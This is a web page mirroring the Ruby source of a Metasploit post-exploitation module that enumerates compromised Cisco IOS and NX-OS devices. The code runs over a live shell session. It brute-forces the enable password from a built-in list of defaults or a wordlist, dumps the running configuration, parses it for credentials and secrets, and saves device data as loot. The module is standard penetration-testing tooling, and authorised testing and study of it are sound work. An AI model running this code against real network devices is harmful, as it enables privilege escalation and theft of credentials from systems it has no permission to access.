Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/networking/gather/enum_cisco.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Cisco7include Msf::Exploit::Deprecated8moved_from 'post/cisco/gather/enum_cisco'9def initialize(info = {})10super(11update_info(12info,13'Name' => 'Cisco Gather Device General Information',14'Description' => %q{15This module collects a Cisco IOS or NXOS device information and configuration.16},17'License' => MSF_LICENSE,18'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],19'Platform' => [ 'cisco'],20'SessionTypes' => [ 'shell' ],21'Notes' => {22'Stability' => [CRASH_SAFE],23'SideEffects' => [IOC_IN_LOGS],24'Reliability' => []25}26)27)2829register_options(30[31OptString.new('ENABLE', [ false, 'Enable password for changing privilege level.']),32OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.'])33]34)35end3637def run38# Get device prompt39prompt = session.shell_command('')4041# Set terminal length to 0 so no paging is required42session.shell_write("term len 0 \n")4344# Get version info45print_status('Getting version information')46show_ver_cmd = 'show version'47ver_out = session.shell_command(show_ver_cmd)48ver = ver_out.gsub(/show version/, '')4950# Get current privilege level51print_status('Getting privilege level')52priv_cmd = 'show priv'53priv = session.shell_command(priv_cmd).scan(/privilege level is (\d*)/).join5455# Check if this is a Nexus or IOS box56case ver57when /Nexus/58os_type = 'Nexus'59mode = 'EXEC'60when /IOS/61os_type = 'IOS'62end63if os_type == 'IOS'64case prompt65when />/66mode = 'EXEC'67when /#/68mode = 'PRIV'69end70end7172print_status("The device OS is #{os_type}")73print_status("Session running in mode #{mode}")74print_status("Privilege level #{priv}")7576case os_type77when /IOS/78ver_loc = store_loot('cisco.ios.version',79'text/plain',80session,81ver.strip,82'version.txt',83'Cisco IOS Version')84when /Nexus/85ver_loc = store_loot('cisco.nxos.version',86'text/plain',87session,88ver.strip,89'version.txt',90'Cisco NXOS Version')91end9293# Print the version of VERBOSE set to true.94vprint_good("version information stored in to loot, file:#{ver_loc}")9596# Enumerate depending priv level97case priv98when '1'99enum_exec(prompt)100if get_enable(datastore['ENABLE'], datastore['WORDLIST'])101enum_priv(prompt)102end103when /7|15/104enum_exec(prompt)105enum_priv(prompt)106end107end108109def get_enable(enable_pass, pass_file)110if enable_pass111found = false112session.shell_command('enable').to_s.strip113en_out = session.shell_command(enable_pass)114if en_out =~ /Password:/115print_error('Failed to change privilege level using provided Enable password.')116else117found = true118end119else120if pass_file121if !::File.exist?(pass_file)122print_error("Wordlist File #{pass_file} does not exist!")123return124end125creds = ::File.open(pass_file, 'rb')126else127creds = "Cisco\n" << "cisco\n" << "sanfran\n" << "SanFran\n" << "password\n" << "Password\n"128end129print_status('Trying to get higher privilege level with common Enable passwords..')130131# Try just the enable command132en_out = session.shell_command('enable').to_s.strip133if en_out =~ /Password:/134creds.each_line do |p|135next if p.strip.empty?136next if p[0, 1] == '#'137138print_status("\tTrying password #{p.strip}")139pass_out = session.shell_command(p.strip).to_s.strip140vprint_status("Response: #{pass_out}")141session.shell_command('enable').to_s.strip if pass_out =~ /Bad secrets/142found = true if pass_out =~ /#/143break if found144end145else146found = true147end148end149if found150print_good('Obtained higher privilege level.')151return true152else153print_error('Could not obtain higher privilege level.')154return false155end156end157158# Run enumeration commands for when privilege level is 7 or 15159def enum_priv(prompt)160host = session.session_host161port = session.session_port162priv_commands = [163{164'cmd' => 'show run',165'fn' => 'run_config',166'desc' => 'Cisco Device running configuration'167},168{169'cmd' => 'show cdp neigh',170'fn' => 'cdp_neighbors',171'desc' => 'Cisco Device CDP Neighbors'172},173{174'cmd' => 'show lldp neigh',175'fn' => 'cdp_neighbors',176'desc' => 'Cisco Device LLDP Neighbors'177}178]179priv_commands.each do |ec|180cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/, '')181# also look at line number so we dont invalidate large outputs by something at the end182next if cmd_out.split("\n").length < 2 && cmd_out =~ /Invalid input|%/183184print_status("Gathering info from #{ec['cmd']}")185# Process configuration186if ec['cmd'] =~ /show run/187print_status('Parsing running configuration for credentials and secrets...')188cisco_ios_config_eater(host, port, cmd_out)189end190cmd_loc = store_loot("cisco.ios.#{ec['fn']}",191'text/plain',192session,193cmd_out.strip,194"#{ec['fn']}.txt",195ec['desc'])196vprint_good("Saving to #{cmd_loc}")197end198end199200# run commands found in exec mode under privilege 1201def enum_exec(prompt)202exec_commands = [203{204'cmd' => 'show ssh',205'fn' => 'ssh_sessions',206'desc' => 'SSH Sessions on Cisco Device'207},208{209'cmd' => 'show sessions',210'fn' => 'telnet_sessions',211'desc' => 'Telnet Sessions on Cisco Device'212},213{214'cmd' => 'show login',215'fn' => 'login_settings',216'desc' => 'Login settings on Cisco Device'217},218{219'cmd' => 'show ip interface brief',220'fn' => 'interface_info',221'desc' => 'IP Enabled Interfaces on Cisco Device'222},223{224'cmd' => 'show inventory',225'fn' => 'hw_inventory',226'desc' => 'Hardware component inventory for Cisco Device'227}228]229exec_commands.each do |ec|230cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/, '')231next if cmd_out =~ /Invalid input|%/232233print_status("Gathering info from #{ec['cmd']}")234cmd_loc = store_loot("cisco.ios.#{ec['fn']}",235'text/plain',236session,237cmd_out.strip,238"#{ec['fn']}.txt",239ec['desc'])240vprint_good("Saving to #{cmd_loc}")241end242end243end244245246